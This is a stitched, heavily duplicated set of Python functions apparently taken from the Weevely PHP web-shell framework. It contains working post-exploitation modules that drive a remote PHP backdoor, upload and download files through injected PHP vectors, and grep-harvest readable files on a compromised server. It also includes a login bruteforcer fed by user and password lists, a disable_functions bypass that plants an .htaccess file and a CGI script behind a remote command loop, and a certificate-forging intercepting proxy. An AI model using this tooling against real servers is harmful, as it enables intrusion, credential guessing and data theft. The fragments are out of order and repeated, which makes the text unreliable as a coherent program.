def send(self, payload):
response = b''
code = 200
error = ''
human_error = ''
try:
response = self.channel_loaded.send(
payload,
self._additional_handlers()
)
except socks.ProxyError as e:
if e.socket_err and e.socket_err.errno:
code = e.socket_err.errno
if e.msg:
error = str(e.msg)
human_error = messages.module_shell_php.error_proxy
except HTTPError as e:
if e.code:
code = e.code
if e.reason:
error = str(e.reason)
if code == 404:
human_error = messages.module_shell_php.error_404_remote_backdoor
elif code == 500:
human_error = messages.module_shell_php.error_500_executing
elif code != 200:
human_error = messages.module_shell_php.error_i_executing % code
except URLError as e:
code = 0
if e.reason:
error = str(e.reason)
human_error = messages.module_shell_php.error_URLError_network
if response:
dlog.info('RESPONSE: %s' % repr(response))
else:
response = b''
command_last_chars = utils.prettify.shorten(
payload.rstrip(),
keep_trailer = 10
)
if (
command_last_chars and
command_last_chars[-1] not in ( ';', '}' )
):
log.warning(messages.module_shell_php.missing_php_trailer_s % command_last_chars)
if error or human_error:
log.debug('[ERR] %s [%s]' % (error, code))
log.warning(human_error)
return response, code, error
def __init__(self, dbpath, volatile=False):
try:
with open(dbpath, 'r') as dbfile:
sessiondb = yaml.safe_load(dbfile.read())
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s %
(dbpath, str(e)))
raise FatalException(messages.sessions.error_loading_sessions)
if sessiondb and isinstance(sessiondb, dict):
saved_url = sessiondb.get('url')
saved_password = sessiondb.get('password')
if saved_url and saved_password:
if not volatile:
# Register dump at exit and return
atexit.register(self._session_save_atexit)
self.load_session(sessiondb)
return
log.warning(messages.generic.error_loading_file_s_s %
(dbpath, 'no url or password'))
raise FatalException(messages.sessions.error_loading_sessions)
def run(self):
# When no folder is specified, change folder to SCRIPT_NAME to
# simulate the bash behaviour. If not available, use current dir.
if not self.args.get('dir'):
script_folder = ModuleExec(
'system_info',
[ '-info', 'script_folder' ]
).load_result_or_run(
result_name = 'script_folder'
)
self.args['dir'] = script_folder if script_folder else '.'
# The execution and result storage is done manually cause
# no result has to be stored if the execution fails. This
# is not simple to implement using
# self.vectors.get_result(.., store_result).
folder = PhpCode("""@chdir('${dir}')&&print(@getcwd());""", "chdir").run(
self.args
)
if folder:
self._store_result('cwd', folder)
else:
log.warning(
messages.module_file_cd.failed_directory_change_to_s %
(self.args['dir'])
)
def set(self, alias, code):
"""User-called function which sets an alias"""
if not alias.isalpha():
log.warning('"{}" is not a valid alias name. Use only letters.'.format(alias))
return
self.aliases[alias] = code
def run(self):
self.args['users'] = self.args.get('users', [])
if self.args.get('fusers'):
try:
self.args['users'] += open(self.args['fusers'], 'r').read().split(os.linesep)
except Exception as e:
log.warning(
messages.generic.error_loading_file_s_s % (self.args['fusers'], str(e)))
return
self.args['pwds'] = self.args.get('pwds', [])
if self.args.get('fpwds'):
try:
self.args['pwds'] += open(self.args['fpwds'], 'r').read().split(os.linesep)
except Exception as e:
log.warning(
messages.generic.error_loading_file_s_s % (self.args['fpwds'], str(e)))
return
if not self.args['users'] or not self.args['pwds']:
log.error('Error, no users or passwords loaded')
return
return self.vectors.get_result(
name = self.args['service'],
format_args = self.args
)
def run(self):
paths = []
lpath = self.args.get('lpath_list')
if lpath:
try:
with open(lpath, 'r') as lfile:
paths = lfile.read().split('\n')
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s %
(lpath, str(e)))
return
paths += self.args.get('paths') if self.args.get('paths') else []
results = {}
for path in paths:
result = ModuleExec("file_check", [path, "perms"]).run()
if result or self.args.get('print'):
results[path] = result
return results
def run(self):
self.args['users'] = self.args.get('users', [])
if self.args.get('fusers'):
try:
self.args['users'] += open(self.args['fusers'],
'r').read().split(os.linesep)
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s %
(self.args['fusers'], str(e)))
return
self.args['pwds'] = self.args.get('pwds', [])
if self.args.get('fpwds'):
try:
self.args['pwds'] += open(self.args['fpwds'],
'r').read().split(os.linesep)
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s %
(self.args['fpwds'], str(e)))
return
if not self.args['users'] or not self.args['pwds']:
log.error('Error, no users or passwords loaded')
return
return self.vectors.get_result(name=self.args['service'],
format_args=self.args)
def unset(self, module_argument):
"""Called by user to unset the session variables"""
# If action_<module_argument> function exists, trigger the action
# passing None
action_name = 'action_%s' % (module_argument.replace('.', '_'))
if hasattr(self, action_name):
action_func = getattr(self, action_name)
if hasattr(action_func, '__call__'):
action_func(module_argument, None)
if module_argument.count('.') == 1:
module_name, arg_name = module_argument.split('.')
if arg_name not in self[module_name]['stored_args']:
log.warning(messages.sessions.error_session_s_not_modified %
('%s.%s' % (module_name, arg_name)))
else:
del self[module_name]['stored_args'][arg_name]
log.info(messages.sessions.unset_module_s_s %
(module_name, arg_name))
else:
module_name = module_argument
if module_name not in self and module_name not in set_filters:
log.warning(messages.sessions.error_session_s_not_modified %
(module_name))
else:
self[module_name] = None
log.info(messages.sessions.unset_s % (module_name))
def _clean(self, htaccess_absolute_path, script_absolute_path):
log.warning('Deleting %s and %s' %
(htaccess_absolute_path, script_absolute_path))
self.vectors.get_result('remove',
format_args={'path': htaccess_absolute_path})
self.vectors.get_result('remove',
format_args={'path': script_absolute_path})
def print_to_user(self, name=None):
if name is None:
for alias, code in self.aliases.items():
print('{} = {}'.format(alias, code))
else:
code = self.get(name)
if code is None:
log.warning('alias {} does not exist.'.format(name))
else:
print('alias {} = {}'.format(name, code))
def do_unset(self, line, cmd):
"""Command "unset" to unset session variables."""
# Print all settings that startswith args[0]
if not line:
log.warning(messages.terminal.unset_usage)
# Set the setting
else:
self.session.unset(line)
def run(self, args):
chdir = '' if args['dir'] == '.' else "@chdir('%s')&&" % args['dir']
folder = PhpCode("""${chdir}print(@getcwd());""",
"chdir").run({'chdir': chdir})
if folder:
# Store cwd used by other modules
self._store_result('cwd', folder)
else:
log.warning(messages.module_file_cd.failed_directory_change_to_s %
(args['dir']))
def run(self, args):
chdir = '' if args['dir'] == '.' else "@chdir('%s')&&" % args['dir']
folder = PhpCode("""${chdir}print(@getcwd());""", "chdir").run({ 'chdir' : chdir })
if folder:
# Store cwd used by other modules
self._store_result('cwd', folder)
else:
log.warning(
messages.module_file_cd.failed_directory_change_to_s %
(args['dir']))
def run(self):
headers = []
saved = None
self._encode()
vector_name, result = self.vectors.find_first_result(
names = [ self.args.get('vector') ],
format_args = self.args,
condition = lambda r: r if r and r.strip() else None
)
# Print error and exit with no response or no headers
if not (vector_name and result):
log.warn(messages.module_net_curl.unexpected_response)
return None, headers, saved
elif not '\r\n'*2 in result:
# If something is returned but there is \r\n*2, we consider
# everything as header. It happen with responses 204 No contents
# that end with \r\n\r (wtf).
headers = result
result = ''
else:
headers, result = result.split('\r\n'*2, 1)
headers = (
[
h.rstrip() for h
in headers.split('\r\n')
] if '\r\n' in headers
else headers
)
output_path = self.args.get('output')
if output_path:
# If response must be saved, it's anyway safer to save it
# within additional requests
if not self.args.get('local'):
saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run()
else:
try:
open(output_path, 'wb').write(result)
except Exception as e:
log.warning(
messages.generic.error_loading_file_s_s % (output_path, str(e)))
saved = False
else:
saved = True
return result, headers, saved
def run(self):
paths = []
lpath = self.args.get('lpath_list')
if lpath:
try:
paths = open(lpath, 'r').read().split('\n')
except Exception, e:
log.warning(messages.generic.error_loading_file_s_s %
(lpath, str(e)))
return
def run(self, args):
paths = []
lpath = args.get('lpath_list')
if lpath:
try:
paths = open(lpath, 'r').read().split('\n')
except Exception, e:
log.warning(
messages.generic.error_loading_file_s_s % (lpath, str(e)))
return
def run(self):
# The correct execution returns something only on errors
result_err = self.vectors.get_result(
name='php_bzip2',
format_args=self.args,
)
if result_err:
log.warning(result_err)
return
return True
def run(self):
headers = []
saved = None
vector_name, result = self.vectors.find_first_result(
names = [ self.args.get('vector') ],
format_args = self.args,
condition = lambda r: r if r and r.strip() else None
)
# Print error and exit with no response or no headers
if not (vector_name and result):
log.warn(messages.module_net_curl.unexpected_response)
return None, headers, saved
elif not '\r\n'*2 in result:
# If something is returned but there is \r\n*2, we consider
# everything as header. It happen with responses 204 No contents
# that end with \r\n\r (wtf).
headers = result
result = ''
else:
headers, result = result.split('\r\n'*2, 1)
headers = (
[
h.rstrip() for h
in headers.split('\r\n')
] if '\r\n' in headers
else headers
)
output_path = self.args.get('output')
if output_path:
# If response must be saved, it's anyway safer to save it
# within additional requests
if not self.args.get('local'):
saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run()
else:
try:
open(output_path, 'wb').write(result)
except Exception as e:
log.warning(
messages.generic.error_loading_file_s_s % (output_path, str(e)))
saved = False
else:
saved = True
return result, headers, saved
def run(self, args):
# Load local file
content_orig = args.get('content')
if not content_orig:
lpath = args.get('lpath')
try:
content_orig = open(lpath, 'r').read()
except Exception, e:
log.warning(
messages.generic.error_loading_file_s_s % (lpath, str(e)))
return
def connect_intercept(self):
hostname = self.path.split(':')[0]
certname = "%s.crt" % (hostname)
certpath = os.path.join(self.certdir, certname)
if not (re_valid_ip.match(hostname)
or re_valid_hostname.match(hostname)):
log.warning("CN name '%s' is not valid, using 'www.weevely.com'" %
(hostname))
hostname = 'www.weevely.com'
with self.lock:
if not os.path.isfile(certpath):
epoch = "%d" % (time.time() * 1000)
p1 = Popen([
"openssl", "req", "-new", "-key", self.certkey, "-subj",
"/CN=%s" % hostname
],
stdout=PIPE)
p2 = Popen([
"openssl", "x509", "-req", "-days", "3650", "-CA",
self.cacert, "-CAkey", self.cakey, "-set_serial", epoch,
"-out", certpath
],
stdin=p1.stdout,
stderr=PIPE)
p2.communicate()
self.send_response_only(200, 'Connection Established')
self.end_headers()
try:
self.connection = ssl.wrap_socket(self.connection,
keyfile=self.certkey,
certfile=certpath,
server_side=True)
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
except Exception as e:
log.debug(e)
raise
conntype = self.headers.get('Proxy-Connection', '')
if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close':
self.close_connection = 0
else:
self.close_connection = 1
def do_set(self, line, cmd):
"""Command "set" to set session variables."""
try:
args = shlex.split(line)
except Exception as e:
import traceback
log.debug(traceback.format_exc())
log.warning(messages.generic.error_parsing_command_s % str(e))
# Set the setting
else:
if len(args) < 2:
log.warning(messages.terminal.set_usage)
elif len(args) >= 2:
args[1] = ' '.join(args[1:])
self.session.set(args[0], args[1])
def run(self):
# Load local file
content_orig = self.args.get('content')
if content_orig == None:
lpath = self.args.get('lpath')
if not lpath:
log.warning(messages.module_file_upload.error_content_lpath_required)
return
try:
content_orig = open(lpath, 'r').read()
except Exception, e:
log.warning(
messages.generic.error_loading_file_s_s % (lpath, str(e)))
return
def run(self):
content_orig = self.args.get('content')
if content_orig == None:
# Load local file
lpath = self.args.get('lpath')
if not lpath:
log.warning(
messages.module_file_upload.error_content_lpath_required)
return
try:
with open(lpath, 'rb') as contentfile:
content_orig = contentfile.read()
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s %
(lpath, str(e)))
return
else:
content_orig = content_orig.encode('utf-8')
self.args['content'] = base64.b64encode(content_orig).decode('utf-8')
# Check remote file existence
if not self.args['force'] and ModuleExec(
'file_check', [self.args['rpath'], 'exists']).run():
log.warning(messages.generic.error_file_s_already_exists %
self.args['rpath'])
return
vector_name, result = self.vectors.find_first_result(
format_args=self.args,
condition=lambda result: True if result == '1' else False)
if not ModuleExec('file_check', [self.args['rpath'], 'exists']).run():
log.warning(messages.module_file_upload.failed_upload_file)
return
if not (ModuleExec('file_check', [self.args['rpath'], 'md5']).run()
== hashlib.md5(content_orig).hexdigest()):
log.warning(messages.module_file_upload.failed_md5_check)
return
return True
def run(self):
# Load local file
content_orig = self.args.get('content')
if content_orig == None:
lpath = self.args.get('lpath')
if not lpath:
log.warning(
messages.module_file_upload.error_content_lpath_required)
return
try:
content_orig = open(lpath, 'r').read()
except Exception, e:
log.warning(messages.generic.error_loading_file_s_s %
(lpath, str(e)))
return
def do_alias(self, line, cmd):
"""Handles :alias functions"""
try:
args = shlex.split(line)
except Exception as e:
import traceback
log.debug(traceback.format_exc())
log.warning(messages.generic.error_parsing_command_s % str(e))
else:
argc = len(args)
if argc == 0:
self.user_aliases.print_to_user()
elif argc == 1:
self.user_aliases.print_to_user(args[0])
elif argc >= 2:
self.user_aliases.set(args[0], ' '.join(args[1:]))
else:
log.warning(':alias usage')
def run(self):
# Terminate if shell_sh is active
if self.session['shell_sh']['status'] == Status.RUN:
log.warning(messages.module_audit_disablefunctionbypass.error_sh_commands_enabled)
return
# Install if -just-run option hasn't been provided, else directly check the backdoor
script_url = self.args.get('just_run')
if not script_url:
script_url = self._install()
if not script_url:
return
elif not self._check_response(script_url):
log.warning(messages.module_audit_disablefunctionbypass.error_s_unexpected_output % (script_url))
return
log.warning(messages.module_audit_disablefunctionbypass.requests_not_obfuscated)
# Console loop
while True:
query = raw_input('CGI shell replacement $ ').strip()
if not query:
continue
if query == 'quit':
break
log.info(http.request('%s?c=%s' % (script_url, query)))
def run(self):
# Terminate if shell_sh is active
if self.session['shell_sh']['status'] == Status.RUN:
log.warning(messages.module_audit_disablefunctionbypass.
error_sh_commands_enabled)
return
# Install if -just-run option hasn't been provided, else directly check the backdoor
script_url = self.args.get('just_run')
if not script_url:
script_url = self._install()
if not script_url:
return
elif not self._check_response(script_url):
log.warning(messages.module_audit_disablefunctionbypass.
error_s_unexpected_output % (script_url))
return
log.warning(messages.module_audit_disablefunctionbypass.
requests_not_obfuscated)
# Console loop
while True:
query = raw_input('CGI shell replacement $ ').strip()
if not query:
continue
if query == 'quit':
break
log.info(http.request('%s?c=%s' % (script_url, query)))
def run(self):
# Check remote file existance
if not ModuleExec('file_check',
[self.args.get('rpath'), 'readable']).run():
log.warn(messages.module_file_download.failed_download_file)
return
# Get the remote file MD5. If this is not available, still do a basic check
# to see if the output is decodable as base64 string.
expected_md5 = ModuleExec('file_check',
[self.args.get('rpath'), 'md5']).run()
if expected_md5:
check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest(
) == expected_md5
else:
log.debug(messages.module_file_download.skipping_md5_check)
check_md5 = lambda r: bool(base64.b64decode(r))
# Find the first vector that satisfy the md5 check
vector_name, result = self.vectors.find_first_result(
format_args=self.args, condition=check_md5)
# Check if find_first_result failed
if not vector_name:
log.warn(messages.module_file_download.failed_download_file)
return
# Dump to local file
lpath = self.args.get('lpath')
try:
result_decoded = base64.b64decode(result)
open(lpath, 'wb').write(result_decoded)
except Exception, e:
log.warning(messages.generic.error_loading_file_s_s %
(lpath, str(e)))
return
def run(self):
# Check remote file existance
if not ModuleExec('file_check', [ self.args.get('rpath'), 'readable' ]).run():
log.warn(messages.module_file_download.failed_download_file)
return
# Get the remote file MD5. If this is not available, still do a basic check
# to see if the output is decodable as base64 string.
expected_md5 = ModuleExec('file_check', [ self.args.get('rpath'), 'md5' ]).run()
if expected_md5:
check_md5 = lambda r: hashlib.md5(base64.b64decode(r)).hexdigest() == expected_md5
else:
log.debug(messages.module_file_download.skipping_md5_check)
check_md5 = lambda r: bool(base64.b64decode(r))
# Find the first vector that satisfy the md5 check
vector_name, result = self.vectors.find_first_result(
format_args = self.args,
condition = check_md5
)
# Check if find_first_result failed
if not vector_name:
log.warn(messages.module_file_download.failed_download_file)
return
# Dump to local file
lpath = self.args.get('lpath')
try:
result_decoded = base64.b64decode(result)
open(lpath, 'wb').write(result_decoded)
except Exception, e:
log.warning(
messages.generic.error_loading_file_s_s % (lpath, str(e)))
return
def set(self, module_argument, value):
"""Called by user to set or show the session variables"""
# I safely evaluate the value type to avoid to save only
# strings type. Dirty but effective.
# TODO: the actual type of the argument could be acquired
# from modules[module].argparser.
try:
value = ast.literal_eval(value)
except Exception as e:
# If is not evalued, just keep it as string
pass
# If action_<module_argument> function exists, trigger the action
action_name = 'action_%s' % (module_argument.replace('.', '_'))
if hasattr(self, action_name):
action_func = getattr(self, action_name)
if hasattr(action_func, '__call__'):
action_func(module_argument, value)
if module_argument.count('.') == 1:
module_name, arg_name = module_argument.split('.')
# Should be OK to set whethever variable we want
# and which will eventually be used by a module.
self[module_name]['stored_args'][arg_name] = value
log.info(messages.sessions.set_module_s_s_s %
(module_name, arg_name, value))
else:
module_name = module_argument
if module_name not in self and module_name not in set_filters:
log.warning(messages.sessions.error_session_s_not_modified %
(module_name))
else:
self[module_name] = value
log.info(messages.sessions.set_s_s % (module_name, value))
def run(self):
log.warning(messages.module_net_proxy.proxy_starting_s_i %
(self.args['lhost'], self.args['lport']))
log.warning(messages.module_net_proxy.proxy_set_proxy)
initialize_certificates()
if self.args['no_background']:
log.warning(messages.module_net_proxy.proxy_started_foreground)
run_proxy2(hostname=self.args['lhost'], port=self.args['lport'])
else:
log.warning(messages.module_net_proxy.proxy_started_background)
server_thread = threading.Thread(target=run_proxy2,
kwargs={
'hostname':
self.args['lhost'],
'port': self.args['lport']
})
server_thread.daemon = True
server_thread.start()
def unset(self, alias):
"""User-called function which removes an alias"""
if alias not in self.aliases:
log.warning('alias {} does not exist.'.format(name))
self.aliases.pop(alias)
class Upload(Module):
"""Upload file to remote filesystem."""
def init(self):
self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})
self.register_vectors([
PhpCode(
"(file_put_contents('${rpath}',base64_decode('${content}'))&&print(1))||print(0);",
name='file_put_contents'),
PhpCode(
"""($h=fopen("${rpath}","a+")&&fwrite($h,base64_decode('${content}'))&&fclose($h)&&print(1))||print(0);""",
name="fwrite")
])
self.register_arguments([{
'name': 'lpath',
'help': 'Local file path',
'nargs': '?'
}, {
'name': 'rpath',
'help': 'Remote file path'
}, {
'name': '-force',
'help': 'Force overwrite',
'action': 'store_true',
'default': False
}, {
'name': '-content',
'help': 'Optionally specify the file content'
}, {
'name': '-vector',
'choices': self.vectors.get_names(),
'default': 'file_put_contents'
}])
def run(self):
# Load local file
content_orig = self.args.get('content')
if content_orig == None:
lpath = self.args.get('lpath')
if not lpath:
log.warning(
messages.module_file_upload.error_content_lpath_required)
return
try:
content_orig = open(lpath, 'r').read()
except Exception, e:
log.warning(messages.generic.error_loading_file_s_s %
(lpath, str(e)))
return
self.args['content'] = base64.b64encode(content_orig)
# Check remote file existence
if not self.args['force'] and ModuleExec(
'file_check', [self.args['rpath'], 'exists']).run():
log.warning(messages.generic.error_file_s_already_exists %
self.args['rpath'])
return
vector_name, result = self.vectors.find_first_result(
format_args=self.args,
condition=lambda result: True if result == '1' else False)
if not ModuleExec('file_check', [self.args['rpath'], 'exists']).run():
log.warning(messages.module_file_upload.failed_upload_file)
return
if not (ModuleExec('file_check', [self.args['rpath'], 'md5']).run()
== hashlib.md5(content_orig).hexdigest()):
log.warning(messages.module_file_upload.failed_md5_check)
return
return True
def run(self):
files = []
if ModuleExec("file_check", [self.args["rpath"], "dir"]).run():
# If remote path is a folder, harvest all the readable
# files wih given name-regex
# Prepare the arguments for file_find
file_find_args = ["-readable", self.args["rpath"], "-ftype", "f"]
if self.args.get("name_regex"):
file_find_args += ["-name-regex", self.args.get("name_regex")]
if self.args.get("no_recursion"):
file_find_args += ["-no-recursion"]
files = ModuleExec("file_find", file_find_args).run()
elif (
ModuleExec("file_check", [self.args["rpath"], "file"]).run()
and ModuleExec("file_check", [self.args["rpath"], "readable"]).run()
):
# If the remote path is a readable file, just store the path
files = [self.args["rpath"]]
# Validate files presence
if not isinstance(files, list) or not files:
log.warn(messages.module_file_grep.failed_retrieve_info)
return None, False
# Store the found data in data dictionary in the
# form `{ filename : [ line1, line2, ... ] }`
# and store them as string whether requested
results = {}
output_str = ""
output_path = self.args.get("output")
for rfile in files:
result_str = self.vectors.get_result(
self.args["vector"],
{"regex": self.args["regex"], "rfile": rfile, "case": self.args["case"], "invert": self.args["invert"]},
)
# Both grep_sh and grep_php -v trail a \n, this should work fine
result_str = result_str[:-1] if result_str and result_str.endswith("\n") else result_str
result_list = result_str.split("\n") if isinstance(result_str, str) and result_str else []
# This means the command returned something something
if result_list:
if output_path:
# If output is redirected, just append to output_str
output_str += result_str
else:
# Else, print it out
if len(files) > 1:
# Print filepath:line if there are multiple files
for line in result_list:
log.info("%s:%s" % (rfile, line))
else:
# Else, just print the lines
log.info("\n".join(result_list))
results[rfile] = result_list
# Save output to file whether specified
saved = False
if output_path:
if not self.args.get("local"):
saved = ModuleExec("file_upload", ["-content", result_str, output_path]).run()
else:
try:
open(output_path, "wb").write(result_str)
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s % (output_path, str(e)))
else:
saved = True
return results, saved
def run(self):
files = []
if ModuleExec("file_check", [self.args['rpath'], 'dir']).run():
# If remote path is a folder, harvest all the readable
# files wih given name-regex
# Prepare the arguments for file_find
file_find_args = ['-readable', self.args['rpath'], '-ftype', 'f']
if self.args.get('name_regex'):
file_find_args += ['-name-regex', self.args.get('name_regex')]
if self.args.get('no_recursion'):
file_find_args += ['-no-recursion']
files = ModuleExec("file_find", file_find_args).run()
elif (ModuleExec("file_check", [self.args['rpath'], 'file']).run()
and ModuleExec("file_check",
[self.args['rpath'], 'readable']).run()):
# If the remote path is a readable file, just store the path
files = [self.args['rpath']]
# Validate files presence
if not isinstance(files, list) or not files:
log.warning(messages.module_file_grep.failed_retrieve_info)
return None, False
# Store the found data in data dictionary in the
# form `{ filename : [ line1, line2, ... ] }`
# and store them as string whether requested
results = {}
output_str = ''
output_path = self.args.get('output')
for rfile in files:
result_str = self.vectors.get_result(
self.args['vector'], {
'regex': self.args['regex'],
'rfile': rfile,
'case': self.args['case'],
'invert': self.args['invert']
})
# Both grep_sh and grep_php -v trail a \n, this should work fine
result_str = result_str[:-1] if result_str and result_str.endswith(
'\n') else result_str
result_list = result_str.split('\n') if isinstance(
result_str, str) and result_str else []
# This means the command returned something something
if result_list:
if output_path:
# If output is redirected, just append to output_str
output_str += result_str
else:
# Else, print it out
if len(files) > 1:
# Print filepath:line if there are multiple files
for line in result_list:
log.info('%s:%s' % (rfile, line))
else:
# Else, just print the lines
log.info('\n'.join(result_list))
results[rfile] = result_list
# Save output to file whether specified
saved = False
if output_path:
if not self.args.get('local'):
saved = ModuleExec(
'file_upload',
['-content', result_str, output_path]).run()
else:
try:
with open(output_path, 'wb') as outputfile:
outputfile.write(result_str.encode('utf-8'))
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s %
(output_path, str(e)))
else:
saved = True
return results, saved
def _clean(self, htaccess_absolute_path, script_absolute_path):
log.warning('Deleting %s and %s' % (htaccess_absolute_path, script_absolute_path))
self.vectors.get_result('remove', format_args = { 'path': htaccess_absolute_path })
self.vectors.get_result('remove', format_args = { 'path': script_absolute_path })
def _install(self):
if not self.vectors.get_result('mod_cgi'):
log.warning(messages.module_audit_disablefunctionbypass.
error_mod_cgi_disabled)
return
filename = strings.randstr(5, charset=string.ascii_lowercase)
ext = strings.randstr(3, charset=string.ascii_lowercase)
result_install_htaccess = self.vectors.get_result(
'install_htaccess', format_args={'extension': ext})
if (not result_install_htaccess or not result_install_htaccess[0][0]
or not result_install_htaccess[0][1]):
log.warning(messages.module_audit_disablefunctionbypass.
error_installing_htaccess)
return
htaccess_absolute_path = result_install_htaccess[0][0]
script_absolute_path = '%s.%s' % (htaccess_absolute_path.replace(
'.htaccess', filename), ext)
script_url = '%s.%s' % (result_install_htaccess[0][1].replace(
'.htaccess', filename), ext)
result_install_script = self.vectors.get_result(
'install_script',
format_args={
'script': self.args.get('script'),
'rpath': script_absolute_path
})
if not result_install_script:
log.warning(messages.module_audit_disablefunctionbypass.
error_uploading_script_to_s % script_absolute_path)
self._clean(htaccess_absolute_path, script_absolute_path)
return
result_chmod = self.vectors.get_result(
'chmod', format_args={'rpath': script_absolute_path})
if not result_chmod:
log.warning(messages.module_audit_disablefunctionbypass.
error_changing_s_mode % script_absolute_path)
self._clean(htaccess_absolute_path, script_absolute_path)
return
if not self._check_response(script_url):
log.warning(messages.module_audit_disablefunctionbypass.
error_s_unexpected_output % (script_url))
self._clean(htaccess_absolute_path, script_absolute_path)
return
log.warning(messages.module_audit_disablefunctionbypass.
cgi_installed_remove_s_s %
(htaccess_absolute_path, script_absolute_path))
log.warning(
messages.module_audit_disablefunctionbypass.run_s_skip_reinstalling
% (script_url))
return script_url
def __init__(self, url, password, volatile=False):
if not os.path.isdir(sessions_path):
os.makedirs(sessions_path)
# Guess a generic hostfolder/dbname
hostname = urllib.parse.urlparse(url).hostname
if not hostname:
raise FatalException(messages.generic.error_url_format)
hostfolder = os.path.join(sessions_path, hostname)
dbname = os.path.splitext(
os.path.basename(urllib.parse.urlsplit(url).path))[0]
# Check if session already exists
sessions_available = glob.glob(
os.path.join(hostfolder, '*%s' % sessions_ext))
for dbpath in sessions_available:
try:
with open(dbpath, 'r') as dbfile:
sessiondb = yaml.safe_load(dbfile.read())
except Exception as e:
log.warning(messages.generic.error_loading_file_s_s %
(dbpath, str(e)))
if sessiondb and isinstance(sessiondb, dict):
saved_url = sessiondb.get('url')
saved_password = sessiondb.get('password')
if not saved_url or not saved_password:
log.warning(messages.generic.error_loading_file_s_s %
(dbpath, 'no url or password'))
if saved_url == url and saved_password == password:
# Found correspondent session file.
# Register dump at exit and return
if not volatile:
atexit.register(self._session_save_atexit)
self.load_session(sessiondb)
return
# If no session was found, create a new one with first available filename
index = 0
while True:
dbpath = os.path.join(hostfolder,
'%s_%i%s' % (dbname, index, sessions_ext))
if not os.path.isdir(hostfolder):
os.makedirs(hostfolder)
if not os.path.exists(dbpath):
sessiondb = {}
sessiondb.update({
'path': dbpath,
'url': url,
'password': password,
'debug': False,
'channel': None,
'default_shell': None,
})
# Register dump at exit and return
if not volatile:
atexit.register(self._session_save_atexit)
self.load_session(sessiondb)
return
else:
index += 1
raise FatalException(messages.sessions.error_loading_sessions)
def _install(self):
if not self.vectors.get_result('mod_cgi'):
log.warning(messages.module_audit_disablefunctionbypass.error_mod_cgi_disabled)
return
filename = strings.randstr(5, charset = string.ascii_lowercase)
ext = strings.randstr(3, charset = string.ascii_lowercase)
result_install_htaccess = self.vectors.get_result(
'install_htaccess',
format_args = { 'extension': ext }
)
if (
not result_install_htaccess or
not result_install_htaccess[0][0] or
not result_install_htaccess[0][1]
):
log.warning(messages.module_audit_disablefunctionbypass.error_installing_htaccess)
return
htaccess_absolute_path = result_install_htaccess[0][0]
script_absolute_path = '%s.%s' % (htaccess_absolute_path.replace('.htaccess',filename), ext)
script_url = '%s.%s' % (
result_install_htaccess[0][1].replace('.htaccess',filename),
ext
)
result_install_script = self.vectors.get_result(
'install_script',
format_args = { 'script' : self.args.get('script'), 'rpath': script_absolute_path }
)
if not result_install_script:
log.warning(messages.module_audit_disablefunctionbypass.error_uploading_script_to_s % script_absolute_path)
self._clean(htaccess_absolute_path, script_absolute_path)
return
result_chmod = self.vectors.get_result(
'chmod',
format_args = { 'rpath': script_absolute_path }
)
if not result_chmod:
log.warning(messages.module_audit_disablefunctionbypass.error_changing_s_mode % script_absolute_path)
self._clean(htaccess_absolute_path, script_absolute_path)
return
if not self._check_response(script_url):
log.warning(messages.module_audit_disablefunctionbypass.error_s_unexpected_output % (script_url))
self._clean(htaccess_absolute_path, script_absolute_path)
return
log.warning(messages.module_audit_disablefunctionbypass.cgi_installed_remove_s_s % (htaccess_absolute_path, script_absolute_path))
log.warning(messages.module_audit_disablefunctionbypass.run_s_skip_reinstalling % (script_url))
return script_url
def run(self):
files = []
if ModuleExec("file_check", [ self.args['rpath'], 'dir' ]).run():
# If remote path is a folder, harvest all the readable
# files wih given name-regex
# Prepare the arguments for file_find
file_find_args = [ '-readable', self.args['rpath'] ]
if self.args.get('name_regex'):
file_find_args += [ '-name-regex', self.args.get('name_regex') ]
if self.args.get('no_recursion'):
file_find_args += [ '-no-recursion' ]
files = ModuleExec("file_find", file_find_args).run()
elif (ModuleExec("file_check", [ self.args['rpath'], 'file' ]).run() and
ModuleExec("file_check", [ self.args['rpath'], 'readable' ]).run()):
# If the remote path is a readable file, just store the path
files = [ self.args['rpath'] ]
# Validate files presence
if not isinstance(files, list) or not files:
log.warn(messages.module_file_grep.failed_retrieve_info)
return None, False
# Store the found data in data dictionary in the
# form `{ filename : [ line1, line2, ... ] }`
# and store them as string whether requested
results = {}
output_str = ''
output_path = self.args.get('output')
for rfile in files:
result_str = self.vectors.get_result(
self.args['vector'],
{ 'regex' : self.args['regex'], 'rfile' : rfile, 'case' : self.args['case'], 'invert' : self.args['invert'] }
)
# Both grep_sh and grep_php -v trail a \n, this should work fine
result_str = result_str[:-1] if result_str and result_str.endswith('\n') else result_str
result_list = result_str.split('\n') if isinstance(result_str, str) and result_str else []
# This means the command returned something something
if result_list:
if output_path:
# If output is redirected, just append to output_str
output_str += result_str
else:
# Else, print it out
if len(files) > 1:
# Print filepath:line if there are multiple files
for line in result_list:
log.info('%s:%s' % ( rfile, line ))
else:
# Else, just print the lines
log.info('\n'.join(result_list))
results[rfile] = result_list
# Save output to file whether specified
saved = False
if output_path:
if not self.args.get('local'):
saved = ModuleExec('file_upload', [ '-content', result_str, output_path ]).run()
else:
try:
open(output_path, 'wb').write(result_str)
except Exception as e:
log.warning(
messages.generic.error_loading_file_s_s % (output_path, str(e)))
else:
saved = True
return results, saved
